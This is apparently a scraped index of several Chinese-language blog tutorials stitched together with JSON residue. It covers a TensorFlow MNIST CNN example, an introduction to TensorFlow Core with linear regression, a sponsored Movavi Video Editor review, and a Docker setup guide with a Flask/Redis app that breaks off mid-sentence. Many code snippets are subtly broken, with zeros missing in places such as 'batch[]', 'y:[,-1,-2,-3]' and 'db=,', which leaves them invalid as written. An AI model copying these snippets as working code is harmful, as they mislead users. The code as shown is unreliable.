來加速訓練的過程，在每一次的迭代中，我們從訓練用資料中隨機取出 100 筆資料來使用（稱為一個 batch）。\n驗證模型 tf.argmax 可將向量中最大值的索引取出來，我們可以利用這個函數來檢查模型預測值與實際值是否相符合：\ncorrect_prediction = tf.equal(tf.argmax(y,1), tf.argmax(y_,1)) 再將這些布林值轉換為浮點數，計算整體模型的準確度：\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32)) 最後一步就是實際執行驗證：\nprint(sess.run(accuracy, feed_dict={x: mnist.test.images, y_: mnist.test.labels})) 0.9074 準確率大約在 90% 左右，這個值尚未達到收斂的值，如果多增加訓練的步驟，大概可以增加到 92% 以上。\n實作 CNN 的部分由於內容與理論牽涉相當廣，我實在沒時間詳細寫，只記錄關鍵重點，閱讀時請同時參考 TensorFlow 的官方文件以及 API 手冊。\nMultilayer Convolutional Network 實作 CNN（Convolutional Neural Network）之前，請先熟悉 CNN 的理論。\n權重初始化 由於使用 ReLU neurons，所以在初始化權重時，最好再加上一點正的偏差值（bias)，避免產生 dead neurons。\n我們定義兩個初始化權重與偏差值用的函數：\ndef weight_variable(shape): initial = tf.truncated_normal(shape, stddev=0.1) return tf.Variable(initial) def bias_variable(shape): initial = tf.constant(0.1, shape=shape) return tf.Variable(initial) Convolution 與 Pooling 在 TensorFlow 中提供了許多的 convolution 與 pooling 運算，這裡我們使用 stride 為 1 的 convolution，邊界使用補零（zero padded）的方式處理，所以輸入與輸出的資料大小是相同的。而 pooling 則是普通的 2x2 max pooling。\ndef conv2d(x, W): return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding=\u0026#39;SAME\u0026#39;) def max_pool_2x2(x): return tf.nn.max_pool(x, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding=\u0026#39;SAME\u0026#39;) 關於 convolution 與 pooling 的詳細說明，請參考 TensorFlow 的 API 文件，另外也要參考 conv2d 與 max_pool 的文件。\n第一層 Convolutional Layer 第一層包含了一個 5×5 的 convolution，輸出 32 個特徵值（features），後面接著一個 max pooling，首先初始化權重與偏差值：\nW_conv1 = weight_variable([5, 5, 1, 32]) b_conv1 = bias_variable([32]) 接著將 x 轉為四維的 tensor，第二維與第三維分別對應影像的寬度與高度，第四維則是影像的顏色 channel。\nx_image = tf.reshape(x, [-1, 28, 28, 1]) 將 x_image 拿來與 conv1 做 convolution，再加上一個偏差值後，經過 ReLU 函數轉換，最後經過 max pooling 將影像轉為 14×14 的輸出。\nh_conv1 = tf.nn.relu(conv2d(x_image, W_conv1) + b_conv1) h_pool1 = max_pool_2x2(h_conv1) 第二層 Convolutional Layer 第一層的結構與第一層類似，不過我們在這一層會輸出 64 個特徵值。\nW_conv2 = weight_variable([5, 5, 32, 64]) b_conv2 = bias_variable([64]) h_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2) h_pool2 = max_pool_2x2(h_conv2) 第三層 Fully-Connected Layer 這一層我們放了 1024 個 neurons，連接 7 * 7 * 64 的特徵值，在運算時我們將之前 max pooling 的輸出轉為向量，乘以權重矩陣，加上偏差值，再套用 ReLU 函數。\nW_fc1 = weight_variable([7 * 7 * 64, 1024]) b_fc1 = bias_variable([1024]) h_pool2_flat = tf.reshape(h_pool2, [-1, 7*7*64]) h_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1) Dropout 為了避免 overfitting，我們再加上一個 dropout 函數。\nkeep_prob = tf.placeholder(tf.float32) h_fc1_drop = tf.nn.dropout(h_fc1, keep_prob) 輸出層 最後一叢就是輸出數字用的一層，將 1024 個特徵轉為 10 個輸出。\nW_fc2 = weight_variable([1024, 10]) b_fc2 = bias_variable([10]) y_conv = tf.matmul(h_fc1_drop, W_fc2) + b_fc2 訓練模型 訓練模型的過程跟之前差不多，只是這裡我們使用 ADAM optimizer，並且在輸入的參數上多加了一個 dropout 用的 keep_prob，以及在每 100 次的迭代時輸出一些模型的狀態資訊。\ncross_entropy = tf.reduce_mean( tf.nn.softmax_cross_entropy_with_logits(labels=y_, logits=y_conv)) train_step = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy) correct_prediction = tf.equal(tf.argmax(y_conv, 1), tf.argmax(y_, 1)) accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32)) with tf.Session() as sess: sess.run(tf.global_variables_initializer()) for i in range(20000): batch = mnist.train.next_batch(50) if i % 100 == 0: train_accuracy = accuracy.eval(feed_dict={ x: batch[0], y_: batch[1], keep_prob: 1.0}) print(\u0026#39;step %d, training accuracy %g\u0026#39; % (i, train_accuracy)) train_step.run(feed_dict={x: batch[], y_: batch[1], keep_prob: 0.5}) print(\u0026#39;test accuracy %g\u0026#39; % accuracy.eval(feed_dict={ x: mnist.test.images, y_: mnist.test.labels, keep_prob: 1.0})) 模型經過訓練之後，準確率大約可以達到 99.24% 左右。\n","permalink":"https://blog.gtwang.org/programming/tensorflow-softmax-regression-hand-written-digits-recognizer-tutorial/","summary":"\u003cp\u003e本篇示範如何使用 Google 的 TensorFlow、softmax 迴歸模型、CNN，實作一套手寫辨識系統。\u003c/p\u003e\n\u003cp\u003e如果您沒學過 Google 的 TensorFlow，建議先閱讀 \u003ca href=\"/programming/tensorflow-google-machine-learning-software-library-tutorial/\"\u003eTensorFlow 機器學習軟體工具入門教學\u003c/a\u003e。\u003c/p\u003e","title":"使用 TensorFlow、Softmax 迴歸模型、CNN，實作數字辨識系統筆記"},{"content":"本篇為 TensorFlow 機器學習軟體工具的入門教學，並實作一個簡單的線性迴歸模型範例。\nTensorFlow 是一套由 Google 所發展的開放原始碼機器學習函式庫，其以流程圖的概念呈現整個資料分析流程，在流程圖中的每一個節點都代表一個運算，連接不同節點的連線則代表資料的傳遞，程式設計者可以運用各種不同的運算節點（不同的演算法），組合成適用於各種問題的分析系統，運用 CPU 或 GPU 進行運算。\n安裝 TensorFlow TensorFlow 的安裝方式有很多種，這裡我使用 Docker 的安裝方式，其餘的安裝方法請參考 TensorFlow 官方的文件。\nCPU 版 TensorFlow 如果您的電腦沒有 NVIDIA 的 GPU 卡，則可安裝 CPU 版的 TensorFlow。首先安裝好基本的 Docker 環境，再從 Docker Hub 下載 TensorFlow 的 Docker 影像（image）來執行：\ndocker run -it -p 8888:8888 tensorflow/tensorflow 接著打開 http://localhost:8888/ 這個網址，就可以看到 TensorFlow 的網頁介面了。\nGPU 版 TensorFlow 要使用 Docker 運行 GPU 版的 TensorFlow 之前，請先安裝好基本的 Docker 環境，再安裝 NVIDIA Docker 的環境。\n接著再從 Docker Hub 下載 TensorFlow 的 Docker 影像（image）來執行：\nnvidia-docker run -it -p 8888:8888 tensorflow/tensorflow:latest-gpu 接著打開 http://localhost:8888/ 這個網址，就可以看到 TensorFlow 的網頁介面了。\nTensorFlow 的網頁介面是採用 Jupyter Notebook 的方式呈現的，這是它的畫面。\n如果想要比較單純的命令列操作介面，可以執行：\nnvidia-docker run -it tensorflow/tensorflow:latest-gpu bash 這樣就可以直接開啟一個 bash shell，接著在這個 shell 中執行：\npython 即可進入一個有 TensorFlow 的 Python 環境，這種環境適合習慣指令操作的人。\nTensorFlow 入門操作 TensorFlow 提供了許多的 API，最底層的 API 就是 TensorFlow Core，其餘較高階的 API 都是以 TensorFlow Core 為基礎所建立的，低階的 TensorFlow Core API 使用上難度比較高，但是可以對模型進行細部的微調，適合機器學習的研究者使用，而較高階的 API 使用上比較簡單，適合一般的使用者來使用。\n以下我們將介紹 TensorFlow Core 的用法，在了解 TensorFlow 底層的運作方式之後，再介紹高階 API 的使用方式。\nTensors TensorFlow 中最基礎的資料類型就是 tensor，它是一種多維度的陣列，其陣列的維度稱為 rank，以下是一些 tensor 的範例：\n# 一個 rank 為 0 的 tensor，形狀為 [] 的常數 3 # 一個 rank 為 1 的 tensor，形狀為 [3] 的向量 [1. ,2., 3.] # 一個 rank 為 2 的 tensor，形狀為 [2, 3] 的矩陣 [[1., 2., 3.], [4., 5., 6.]] # 一個 rank 為 3 的 tensor，形狀為 [2, 1, 3] 的高維度陣列 [[[1., 2., 3.]], [[7., 8., 9.]]] 在使用 TensorFlow 時，要將 tensorflow 這個 Python 模組匯入：\nimport tensorflow as tf 接著我們就可以透過這個 tf 使用 TensorFlow 了。\nTensorFlow Core 的程式可分為兩大部分：\n建立 computational graph。 執行 computational graph。 computational graph 是由許多 TensorFlow 運算節點（nodes）所組成的運算藍圖，每個節點可以接受任意個數的 tensors 作為輸入資料（或是沒有任何輸入也可以），並輸出一個 tensor。\n常數節點 constant 節點是一個最簡單的常數節點，它沒有輸入資料，只會輸出其內部儲存的常數，以下是兩個浮點數常數節點範例：\nnode1 = tf.constant(3.0, dtype = tf.float32) node2 = tf.constant(4.0) # 預設型別亦為 tf.float32 這裡建立了兩個常數節點，我們可以使用 dtype 來指定資料的型別，若不指定的話預設則為 tf.float32，建立好之後，將其輸出：\nprint(node1, node2) (\u0026lt;tf.Tensor 'Const:0' shape=() dtype=float32\u0026gt;, \u0026lt;tf.Tensor 'Const_1:0' shape=() dtype=float32\u0026gt;) 我們將節點輸出之後，並不會直接得到節點的輸出數值，而是看到兩個節點的內部結構，如果要讓節點實際進行運算，必須先建立一個 session，然後在 session 中執行 computational graph：\nsess = tf.Session() print(sess.run([node1, node2])) 這樣就會得到我們所預期的計算結果：\n[3.0, 4.0] 我們可以運用加法的節點，把 node1 與 node2 的數值加起來：\nnode3 = tf.add(node1, node2) print(\u0026#34;node3: \u0026#34;, node3) ('node3: ', \u0026lt;tf.Tensor 'Add:0' shape=() dtype=float32\u0026gt;) print(\u0026#34;sess.run(node3): \u0026#34;,sess.run(node3)) ('sess.run(node3): ', 7.0) 我們可以利用 TensorFlow 所附帶的 TensorBoard 功能，以圖型的方式查看 computational graph 的結構。\nPlaceholder placeholder 是一種可以讓 computational graph 保留輸入欄位的節點，其允許實際的輸入值留到後來再指定。\na = tf.placeholder(tf.float32) b = tf.placeholder(tf.float32) adder_node = a + b # 加號（+）等同於 tf.add(a, b) 的效果 這種方式其實有點類似定義一個函數，其接受 a 與 b 兩個輸入參數，並且進行加法運算。\n接著在執行 computational graph 時，只要在 run 的 feed_dict 參數指定輸入的數值，即可進行運算：\nprint(sess.run(adder_node, {a: 3, b:4.5})) 7.5 print(sess.run(adder_node, {a: [1,3], b: [2, 4]})) [ 3. 7.] 接著我們再把 adder_node 的計算結果拿來再乘以 3.0：\nadd_and_triple = adder_node * 3. print(sess.run(add_and_triple, {a: 3, b:4.5})) 22.5 此時的 computational graph 圖形是這樣：\nVariable 在機器學習的應用上，我們可以讓模型透過 placeholder 輸入各種的資料，而參數的部份我們可以透過 variable 的節點來指定（這樣可以讓參數可以進行訓練）：\nW = tf.Variable([.3], dtype=tf.float32) b = tf.Variable([-.3], dtype=tf.float32) x = tf.placeholder(tf.float32) linear_model = W * x + b 常數節點會在呼叫 tf.constant 時就進行初始化，而且其數值是固定的，而 variable 在呼叫 tf.Variable 時並不會進行初始化，若要初始化 variable 要另外執行以下的指令：\ninit = tf.global_variables_initializer() sess.run(init) 初始化 variables 之後，就可以將資料放進去這個模型中計算：\nprint(sess.run(linear_model, {x:[1,2,3,4]})) [ 0. 0.30000001 0.60000002 0.90000004] 建立好模型之後，我們還會需要評估模型的表現好壞，所以還要定義一個 placeholder y，用於儲存正確的答案：\ny = tf.placeholder(tf.float32) 接著使用 tf.square 計算每個誤差的平方，再使用 reduce_sum 把平方後的誤差加總：\nsquared_deltas = tf.square(linear_model - y) loss = tf.reduce_sum(squared_deltas) 最後把資料放進去，實際執行：\nprint(sess.run(loss, {x:[1,2,3,4], y:[,-1,-2,-3]})) 23.66 在學習的過程，我們可以透過調整不同的參數組合，讓誤差值更小。若要調整 variable 的值可以使用 tf.assign：\nfixW = tf.assign(W, [-1.]) fixb = tf.assign(b, [1.]) sess.run([fixW, fixb]) print(sess.run(loss, {x:[1,2,3,4], y:[,-1,-2,-3]})) 0.0 當 W 為 -1 且 b 為 1 時，可以獲得最佳解，而接下來的問題就是如何讓程式自動找出最佳解，請繼續閱讀下一頁。\ntf.train API 在建立好模型之後，接著就是要使用既有的資料對模型進行訓練，TensorFlow 所提供的 optimizers 可以對模型的 variable 進行微調，讓 loss function 達到最小，而最簡單的 optimizer 就是 gradient descent，他會依照 loss function 對個變數的 gradient 方向調整變數，TensorFlow 的 tf.gradients 可以幫助我們計算函數的微分，而 optimizers 也會自動幫我們處理這部分的問題。\n首先建立一個 gradient descent optimizer，並指定 loss function：\noptimizer = tf.train.GradientDescentOptimizer(0.01) train = optimizer.minimize(loss) 將原本的變數設定為預設的錯誤組合，然後使用使用迴圈訓練模型，找出最佳的變數組合：\nsess.run(init) # 將變數重設為錯誤的組合 for i in range(1000): sess.run(train, {x:[1,2,3,4], y:[,-1,-2,-3]}) 輸出結果：\nprint(sess.run([W, b])) [array([-0.9999969], dtype=float32), array([ 0.99999082], dtype=float32)] 完整的線性迴歸模型程式 前面我們完成了一個簡單的線性迴歸模型程式，其完整的程式碼如下：\nimport tensorflow as tf # 模型參數 W = tf.Variable([.3], dtype=tf.float32) b = tf.Variable([-.3], dtype=tf.float32) # 輸入與輸出的資料 x = tf.placeholder(tf.float32) linear_model = W * x + b y = tf.placeholder(tf.float32) # loss function loss = tf.reduce_sum(tf.square(linear_model - y)) # sum of the squares # optimizer optimizer = tf.train.GradientDescentOptimizer(0.01) train = optimizer.minimize(loss) # training data x_train = [1, 2, 3, 4] y_train = [, -1, -2, -3] # 初始化、重設模型參數 init = tf.global_variables_initializer() sess = tf.Session() sess.run(init) # 最佳化迴圈 for i in range(1000): sess.run(train, {x:x_train, y:y_train}) # 輸出結果 curr_W, curr_b, curr_loss = sess.run([W, b, loss], {x:x_train, y:y_train}) print(\u0026#34;W: %s b: %s loss: %s\u0026#34;%(curr_W, curr_b, curr_loss)) W: [-0.9999969] b: [ 0.99999082] loss: 5.69997e-11 整個模型以 TensorBoard 畫出來會像這樣：\n這樣就完成一個基本的機器學習程式了，接下來我們要介紹一些比較高階的 TensorFlow API，使用這些高階 API 可以讓使用者在處理典型的問題上更快速、更簡單。\ntf.contrib.learn tf.contrib.learn 是一個高階的 TensorFlow API，可以處理模型的訓練與評估等各種常用的機器學習工作。\n以下是使用 tf.contrib.learn 來實作線性迴歸模型的程式碼：\nimport tensorflow as tf # NumPy 時常用於載入與整理資料 import numpy as np # 宣告特徵（fetures），此例中只有一個實數的特徵 features = [tf.contrib.layers.real_valued_column(\u0026#34;x\u0026#34;, dimension=1)] # 定義模型，此例使用線性迴歸模型 estimator = tf.contrib.learn.LinearRegressor(feature_columns=features) # 定義資料，並指定 batch 與 epochs 的大小 x_train = np.array([1., 2., 3., 4.]) y_train = np.array([0., -1., -2., -3.]) x_eval = np.array([2., 5., 8., 1.]) y_eval = np.array([-1.01, -4.1, -7, 0.]) input_fn = tf.contrib.learn.io.numpy_input_fn({\u0026#34;x\u0026#34;:x_train}, y_train, batch_size = 4, num_epochs = 1000) eval_input_fn = tf.contrib.learn.io.numpy_input_fn( {\u0026#34;x\u0026#34;:x_eval}, y_eval, batch_size = 4, num_epochs = 1000) # 進行模型的訓練 estimator.fit(input_fn = input_fn, steps = 1000) # 驗證模型 train_loss = estimator.evaluate(input_fn=input_fn) eval_loss = estimator.evaluate(input_fn=eval_input_fn) print(\u0026#34;train loss: %r\u0026#34;% train_loss) print(\u0026#34;eval loss: %r\u0026#34;% eval_loss) train loss: {'loss': 2.0923761e-07, 'global_step': 1000} eval loss: {'loss': 0.0025518893, 'global_step': 1000} 自訂模型 tf.contrib.learn 也允許使用者自訂模型，以下是自訂模型的範例：\nimport numpy as np import tensorflow as tf # 自訂模型 def model(features, labels, mode): # 建立線性迴歸模型 W = tf.get_variable(\u0026#34;W\u0026#34;, [1], dtype=tf.float64) b = tf.get_variable(\u0026#34;b\u0026#34;, [1], dtype=tf.float64) y = W * features[\u0026#39;x\u0026#39;] + b # loss function 的 sub-graph loss = tf.reduce_sum(tf.square(y - labels)) # 訓練的 sub-graph global_step = tf.train.get_global_step() optimizer = tf.train.GradientDescentOptimizer(0.01) train = tf.group(optimizer.minimize(loss), tf.assign_add(global_step, 1)) # 使用 ModelFnOps 將我們建立的 subgraphs 包裝好 return tf.contrib.learn.ModelFnOps( mode=mode, predictions=y, loss=loss, train_op=train) # 定義模型 estimator = tf.contrib.learn.Estimator(model_fn=model) # 定義資料，並指定 batch 與 epochs 的大小 x_train = np.array([1., 2., 3., 4.]) y_train = np.array([0., -1., -2., -3.]) x_eval = np.array([2., 5., 8., 1.]) y_eval = np.array([-1.01, -4.1, -7, 0.]) input_fn = tf.contrib.learn.io.numpy_input_fn({\u0026#34;x\u0026#34;: x_train}, y_train, 4, num_epochs=1000) # 進行模型的訓練 estimator.fit(input_fn=input_fn, steps=1000) # 驗證模型 train_loss = estimator.evaluate(input_fn=input_fn) eval_loss = estimator.evaluate(input_fn=eval_input_fn) print(\u0026#34;train loss: %r\u0026#34;% train_loss) print(\u0026#34;eval loss: %r\u0026#34;% eval_loss) train loss: {'loss': 2.0923761e-07, 'global_step': 1000} eval loss: {'loss': 0.0025518893, 'global_step': 1000} ","permalink":"https://blog.gtwang.org/programming/tensorflow-google-machine-learning-software-library-tutorial/","summary":"\u003cp\u003e本篇為 TensorFlow 機器學習軟體工具的入門教學，並實作一個簡單的線性迴歸模型範例。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.tensorflow.org/\"\u003eTensorFlow\u003c/a\u003e 是一套由 Google 所發展的開放原始碼機器學習函式庫，其以流程圖的概念呈現整個資料分析流程，在流程圖中的每一個節點都代表一個運算，連接不同節點的連線則代表資料的傳遞，程式設計者可以運用各種不同的運算節點（不同的演算法），組合成適用於各種問題的分析系統，運用 CPU 或 GPU 進行運算。\u003c/p\u003e","title":"TensorFlow 機器學習軟體工具入門教學與範例實作"},{"content":"Movavi Video Editor 是一套實用的影片編輯軟體，可剪接影片、錄製網路攝影機的影片、混合圖形與聲音、加入特效，製作自己設計的短片。\n本文是應 Movavi 官方的邀請所撰寫的介紹文章，Movavi Video Editor 這套影片編輯軟體提供了基本的影片剪輯功能，可以把自己拍攝的影片、照片加以剪接，以動畫的轉場效果串聯起來，再加上符合場景的背景音樂，即可得到一部自己創作的一部短片。\nMovavi Video Editor 從官方網站下載安裝檔之後，直接執行即可進行安裝，安裝的過程都有繁體中文的介面與說明，不熟悉英文的人也不用擔心看不懂，安裝完之後，在桌面上就可以看到一個新的 Movavi Video Editor 啟動捷徑，執行它就可以開啟 Movavi Video Editor 了。\n開啟 Movavi Video Editor 的時候，可以選擇以全功能模式建立專案，或是以快速的幻燈片精靈製作串聯照片的短片，而 Movavi Video Editor 官方網頁上也有簡潔的操作教學可以查閱。\n幻燈片精靈功能主要是把許多照片串起來，加上動畫的轉場效果，配上背景音樂，快速製作成可以撥放的影音短片，使用時要先匯入照片，我拿一些之前用手機拍攝的照片來測試。\n把照片匯入之後，接著選擇轉場的樣式。Movavi Video Editor 會把所有的照片串聯起來，一張接著一張撥放，而在更換照片的時機就會插入轉場的動畫效果，這裡可以選擇自己喜歡的效果（例如淡入、淡出等），如果沒有選擇任何效果，就會直接切換成下一張照片。\n幻燈片精靈的第三步驟就是選擇背景音樂，背景音樂對於整部影片的質感來說是相當重要的，這裡我們可以從 Movavi Video Editor 內建的背景音樂中選擇適合的配樂，當然也可以匯入自己的聲音檔作為背景音樂。\n透過三個快速設定的步驟，就會產生一個幻燈片式的短片，這時候我們可以對每張照片的時間、順序、轉場效果等設定進行微調，或是加上文字、圖案等特效。\n編輯完成後，使用匯出影片的功能，就可以將製作好的影片儲存成 H.264 編碼的 MP4 檔了，這是我把影片放在 YouTube 的樣子。\n這裡我使用的照片有些是橫著拍、有些則是直的拍，所以照片的比例會有差異，而直的拍攝的照片在製作成影片時，兩邊會是空白的。\n如果要進行影片的剪接，就要使用全功能模式，首先一樣要把要進行剪輯的原始影片匯入 Movavi Video Editor 之中。\n匯入原始影片之後，通常會先把影片中拍得不好或是沒有用的段落剪掉，分割功能（剪刀圖案的按鈕）可以將影片切斷，善用地個功能就可以很輕鬆地將沒用的部分刪掉，然後再用滑鼠拖曳影片的段落，調整每一段影片的排列順序。\n如果有些用手機拍的影片角度不對，影片開起來可能會是橫的。\n這時候使用影片的旋轉功能，馬上就可以校正回來。\n如果是手持設備拍攝的影片，通常都會有畫面抖動的問題，遇到這個狀況就可以使用影片穩定化的功能，消除畫面的抖動，讓影片看起來更平穩。\n轉場的動畫特效可以自己選擇，加入轉場動畫特效之後，會自動與原來的影片融合在一起，變成轉場的效果。\n背景音樂也是可以使用 Movavi Video Editor 內建的配樂，或是匯入自己的 MP3 音樂也可以，通常影片的長度與音樂的長度會有一些差異，我個人通常都是適度調整影片的長度，配合音樂的長度，讓音樂播完的時候，影片也剛好撥放到結尾，如果影片太長的話，可能就會再串第二首配樂。\nMovavi Video Editor 的影片特效功能還不少，可以自己在影片中加入各種的文字、圖案、線條等，我最喜歡用的就是思想泡泡的功能，可以把阿玄的想法寫在裡面。\n製作完成的影片，可以使用另存影片的功能，匯出成 H.264 編碼（或是其他各種編碼格式）的影片，若要上傳至 YouTube，Movavi Video Editor 也有內建直接上傳 YouTube 的功能。\n以下是我製作的一段影片：\n","permalink":"https://blog.gtwang.org/useful-tools/movavi-video-editor/","summary":"\u003cp\u003eMovavi Video Editor 是一套實用的影片編輯軟體，可剪接影片、錄製網路攝影機的影片、混合圖形與聲音、加入特效，製作自己設計的短片。\u003c/p\u003e\n\u003cp\u003e本文是應 Movavi 官方的邀請所撰寫的介紹文章，\u003ca href=\"https://www.movavi.com/zh/videoeditor/\"\u003eMovavi Video Editor\u003c/a\u003e 這套影片編輯軟體提供了基本的影片剪輯功能，可以把自己拍攝的影片、照片加以剪接，以動畫的轉場效果串聯起來，再加上符合場景的背景音樂，即可得到一部自己創作的一部短片。\u003c/p\u003e","title":"Movavi Video Editor 影片編輯工具軟體"},{"content":"本篇是 Docker 容器的基本觀念與操作教學，敘述如何自行建立 Docker 影像檔。\n相較於傳統的虛擬機器（例如 VirtualBox 與 VMWare 等），Docker 是一個輕量級的容器，只包含特定程式執行所需要的必要元件，不像虛擬機器要包含整個作業系統，所以大小會比較小，執行效能也會比較高。\n以下是關於 Docker 的一些基本觀念，以及簡單的應用程式包裝與佈署步驟。\n基本觀念 Docker 的影像（image）是一個可以獨立執行的輕量級套件，其包含所有執行程式所需要的函式庫、環境變數與設定檔等，而容器（container）則是一個影像（image）的執行實體，就是將影像（image）載入至記憶體中執行之後的環境。\n預設的情況下，容器（container）是一個與 host 機器環境分開的獨立執行環境，但其程式卻可以在原生 host 機器的核心中運行，因此 Docker 的執行效能會比傳統虛擬機器更好。\n以下兩張圖是傳統虛擬機器與 Docker 的比較，虛擬機器（VM）除了包含程式與函式庫之外，還要加上整個作業系統（Guest OS）。\n在 Docker 容器的架構下，容器只需要包含程式與其所需要的函式庫，剩下的部份則由 Docker 容器來處理，所有的程式都共用同一個 host 系統核心。\n安裝 Docker 環境 在開始使用 Docker 之前，請先在系統上安裝 Docker 的環境，大部分的作業系統 Docker 都有直接支援，這裡示範在 Ubuntu Linux 中的安裝步驟，若使用 CentOS Linux 的人可參考 CentOS Linux 安裝 Docker 的教學，或是 Docker 官方的文件。\n首先移除舊版的 Docker 套件，官方的建議指令是：\nsudo apt-get remove docker docker-engine 我自己的 Ubuntu Linux 中舊版的 Docker 套件是 docker.io：\nsudo apt-get remove docker.io 安裝 linux-image-extra-* 套件，讓 Docker 可以使用 aufs 儲存驅動程式：\nsudo apt-get install linux-image-extra-$(uname -r) linux-image-extra-virtual 安裝基本套件：\nsudo apt-get install apt-transport-https ca-certificates curl software-properties-common 加入 Docker 的 GPG 金鑰：\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - 加入 Docker 套件庫：\nsudo add-apt-repository \u0026#34;deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable\u0026#34; 更新套件庫：\nsudo apt-get update 安裝 Docker CE（Community Edition）：\nsudo apt-get install docker-ce 檢查 Docker 是否可以正常運作：\nsudo docker run hello-world 正常來說，執行之後就會輸出類似這樣的訊息：\n如果要以一般的使用者的權限執行 Docker，要先在系統中加入 docker 群組：\nsudo groupadd docker 在將要執行 Docker 的使用者加入至 docker 群組內：\nsudo usermod -aG docker $USER 這樣就完成了。如果沒有把使用者加入 docker 群組的話，使用時就會出現類似這樣的錯誤訊息：\ndocker: Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post http://%2Fvar%2Frun%2Fdocker.sock/v1.27/containers/create: dial unix /var/run/docker.sock: connect: permission denied. See 'docker run --help'. 如果要設定 Docker 的服務是否要在開機時自動啟動，可透過 systemd 的控制介面：\nsudo systemctl enable docker # 啟動 Docker 服務 sudo systemctl disable docker # 關閉 Docker 服務 最後檢查一下 Docker 的版本。\ndocker --version Docker version 17.03.1-ce, build c6d412e 接下來的教學內容適用於 1.13 或更新版的 Docker 環境。\n將 Docker 的執行環境準備好之後，接下來要介紹如何在 Docker 環境中開發與佈署應用程式，請繼續閱讀下一頁。\nDocker 容器 傳統上的應用成是在開發與佈署時，都會需要注意執行環境是否一致的問題，以 Python 來說，可能需要注意直譯器的版本是否相同，所需要的函式庫是否有安裝等，而在 Docker 環境之下，這個問題可以簡化許多，在 Docker 中開發應用程式時，我們就會將所有程式需要的 Python 直譯器、函式庫等元件都放進 Docker 影像（image）中，讓所有的必要元件與應用程式都放在一起，在佈署時也隨同應用程式一起放進目標的執行環境中。\nDockerfile Docker 容器內部的各種系統資源（例如儲存、網路等）都是抽象的，我們需要自行定義內部抽象資源與外部實體資源的對應關係，這些設定都是寫在 Dockerfile 這個 Docker 容器的設定檔中，以下示範如何使用 Dockerfile 建立一個 Docker 應用程式。\n首先在一個空的目錄中，建立一個檔名為 Dockerfile 的文字檔，內容如下：\n# 使用官方的 Python 執行環境作為基本的 Docker 影像 FROM python:2.7-slim # 設定工作目錄為 /app WORKDIR /app # 複製目前目錄下的內容，放進 Docker 容器中的 /app ADD . /app # 安裝 requirements.txt 中所列的必要套件 RUN pip install -r requirements.txt # 讓 80 連接埠可以從 Docker 容器外部存取 EXPOSE 80 # 定義環境變數 ENV NAME World # 當 Docker 容器啟動時，自動執行 app.py CMD [\u0026#34;python\u0026#34;, \u0026#34;app.py\u0026#34;] Dockerfile 需要用到另外兩個檔案，分別為 requirements.txt 與 app.py，app.py 就是我們自己撰寫的 Python 應用程式，而 requirements.txt 則是相依套件的列表，請在同一個目錄中建立這兩個檔案。requirements.txt 的內容為：\nFlask Redis app.py 是自己開發的應用程式，這裡我們實做一個簡單的網頁伺服器，並連接到內部的 Redis 資料庫，其完整的內容如下：\nfrom flask import Flask from redis import Redis, RedisError import os import socket # Connect to Redis redis = Redis(host=\u0026#34;redis\u0026#34;, db=, socket_connect_timeout=2, socket_timeout=2) app = Flask(__name__) @app.route(\u0026#34;/\u0026#34;) def hello(): try: visits = redis.incr(\u0026#34;counter\u0026#34;) except RedisError: visits = \u0026#34;\u0026lt;i\u0026gt;cannot connect to Redis, counter disabled\u0026lt;/i\u0026gt;\u0026#34; html = \u0026#34;\u0026lt;h3\u0026gt;Hello {name}!\u0026lt;/h3\u0026gt;\u0026#34; \u0026#34;\u0026lt;b\u0026gt;Hostname:\u0026lt;/b\u0026gt; {hostname}\u0026lt;br/\u0026gt;\u0026#34; \u0026#34;\u0026lt;b\u0026gt;Visits:\u0026lt;/b\u0026gt; {visits}\u0026#34; return html.format(name=os.getenv(\u0026#34;NAME\u0026#34;, \u0026#34;world\u0026#34;), hostname=socket.gethostname(), visits=visits) if __name__ == \u0026#34;__main__\u0026#34;: app.run(host=\u0026#39;0.0.0.0\u0026#39;, port=80) 建立 Docker 應用程式 建立好 Dockerfile、requirements.txt 與 app.py 三個檔案之後，我們就可以使用 docker 指令來自動建立 Docker 影像（image）：\ndocker build -t friendlyhello . 這裡的 -t 參數是用來指定 Docker 影像（image）的名稱，這個名稱可以自己取一個好記的名字。\n建立好的 Docker 影像（image）會儲存在 Docker 的影像庫中，我們可以使用 docker 來查詢目前可用的 Docker 影像（image）：\ndocker images 執行 Docker 應用程式 建立好 Docker 影像（image）之後，接著就可以直接執行了：\ndocker run -p 4000:80 friendlyhello 這裡我們使用 -p 參數將 Docker 內部應用程式的 80 連接埠對應到 host 機器上的 4000 連接埠。執行之後，會出現這樣的輸出訊息：\n* Running on http://0.0.0.0:80/ (Press CTRL+C to quit) 在 Docker 中的程式是開啟 80 這個連接埠，透過 Docker 對應到外部 host 機器上的 4000 連接埠，而這時候我們就可以開啟瀏覽器，打開本機的 4000 連接埠，連線至 Docker 中的應用程式：\nhttp://localhost:4000 在網頁中我們可以看到 Hello World! 的訊息，以及 Redis 的錯誤訊息。如果要停止這個 Docker 應用程式，就在命令列中按下 Ctrl + c 即可中止程式。\n如果想要讓 Docker 程式以背景的方式執行，可以加上 -d 參數：\ndocker run -d -p 4000:80 friendlyhello c5b69c3c387c497023a407ae99f0670789933dd618fbc8251bf7330d32fc4b5d 這樣 Docker 應用程式就會在背景執行，我們可以透過 docker 的 ps 指令來查詢目前正在執行的 Docker 應用程式：\ndocker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES c5b69c3c387c friendlyhello \"python app.py\" About a minute ago Up About a minute 0.0.0.0:4000-\u0026gt;80/tcp unruffled_kowalevski 若要停止指定的 Docker 應用程式，則使用 docker 的 stop 指令，加上容器的 ID 即可：\ndocker stop c5b69c3c387c 接下來我們將介紹如何把打包好的 Docker 影像（image）拿到其他的地方執行，請繼續閱讀下一頁。\n分享 Docker 影像 Docker Cloud 網站有提供一個註冊處（registry）功能，可以讓使用者上傳自己製作的 